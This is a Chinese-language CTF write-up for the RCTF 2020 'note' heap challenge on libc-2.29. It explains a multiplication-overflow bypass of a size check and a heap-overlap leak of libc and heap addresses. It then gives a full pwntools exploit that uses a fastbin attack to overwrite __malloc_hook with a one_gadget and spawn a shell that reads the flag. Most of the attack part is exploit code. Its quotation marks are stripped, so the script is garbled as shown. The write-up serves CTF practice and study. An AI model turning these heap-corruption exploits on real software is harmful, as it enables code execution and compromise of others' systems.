[BMZTCF-pwn] 46-rctf2020-note
libc-2.29 calloc建块,有两个后门一个可多写8字节一个可多写0x20字节
前边有个小冒,建块时需要money作size,由于用的是无符号数,不能直接用负数绕过,但由于他用了乘法,可以用乘法溢出:
if ( 857 * size > (unsigned __int64)qword_4010 )return puts("You dont have enough money!");
当size*857=A时,只要A的前半部分超过64位,后半部门很小就能绕过,这里直接用一个刚溢出的数除以857再加1就是第一个溢出后部最小的数。
((1<<64))//857+1
解题思路:
- 先利用后门写溢出修改块头形成overlap得到libc和堆地址
- 释放0x60的块到fastbin进行fastbinattack得到malloc_hook-0x23,写入one和realloc+n调栈
完整的:
from pwn import * elf = ELF(./pwn) context.arch = amd64 def connect(): global p,libc_elf,one,libc_start_main_ret,local local = 1 if local == 1: p = process(./pwn) else: p = remote(node4.buuoj.cn, 25491) libc_elf = ELF(/home/shi/libc6_2.29-0ubuntu2/lib/x86_64-linux-gnu/libc-2.29.so) one = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8] libc_start_main_ret = 0x26b6b menu = b"Choice: " def add(idx, size): p.sendlineafter(menu, b1) p.sendlineafter(b"Index: ", str(idx).encode()) p.sendlineafter(b"Size: ", str(size).encode()) def free(idx): p.sendlineafter(menu, b2) p.sendlineafter(b"Index: ", str(idx).encode()) def show(idx): p.sendlineafter(menu, b3) p.sendlineafter(b"Index: ", str(idx).encode()) def edit(idx, msg): p.sendlineafter(menu, b4) p.sendlineafter(b"Index: ", str(idx).encode()) p.sendafter(b"Message: ", msg) def backdoor(msg): p.sendlineafter(menu, b6) p.sendafter(b"Give a super name: ", msg) #0x58 <- 0x60 def pwn(one_idx, one_off): #get money add(0, ((1<<64))//857+1) free(0) add(0, 0x50) #backdoor add(1, 0x60) add(2, 0x250) #6=2 add(3, 0x250) #7=3 add(4, 0x60) #8=4 add(5, 0x60) free(0) backdoor(bA*0x58+p64(0x70+0x260+0x260+0x70+1)[:-2] + b ) free(1) add(1, 0x60) add(6, 0x250) show(3) libc_base = u64(p.recv(8)) - 0x60 - 0x10 - libc_elf.sym[__malloc_hook] libc_elf.address = libc_base one_gadget = libc_base + one[one_idx] print(libc:, hex(libc_base)) add(7, 0x250) #7==3 add(8, 0x60) #8==4 free(7) free(6) show(2) p.recv(8) heap_addr = u64(p.recv(8)) print(heap:, hex(heap_addr)) for i in range(7): add(6, 0x60) free(6) free(5) free(8) edit(4, p64(libc_elf.sym[__malloc_hook] - 0x23) + b ) add(6, 0x60) add(7, 0x60) edit(7, bx00*(3+8)+ p64(one_gadget) + p64(libc_elf.sym[realloc]+ one_off) + b ) add(9, 0x60) sleep(0.1) p.sendline(bcat /flag) tmp = p.recv( timeout=0.2) print(tmp) if b{ not in tmp: raise(xxx) p.interactive() connect() pwn(5,8) for i in range(6): for j in [0,2,4,8,9,10,13]: try: print([,i,]+,j) connect() pwn(i,j) #0,2,4,6,8,9,10,13 except KeyboardInterrupt as e: exit() except: p.close()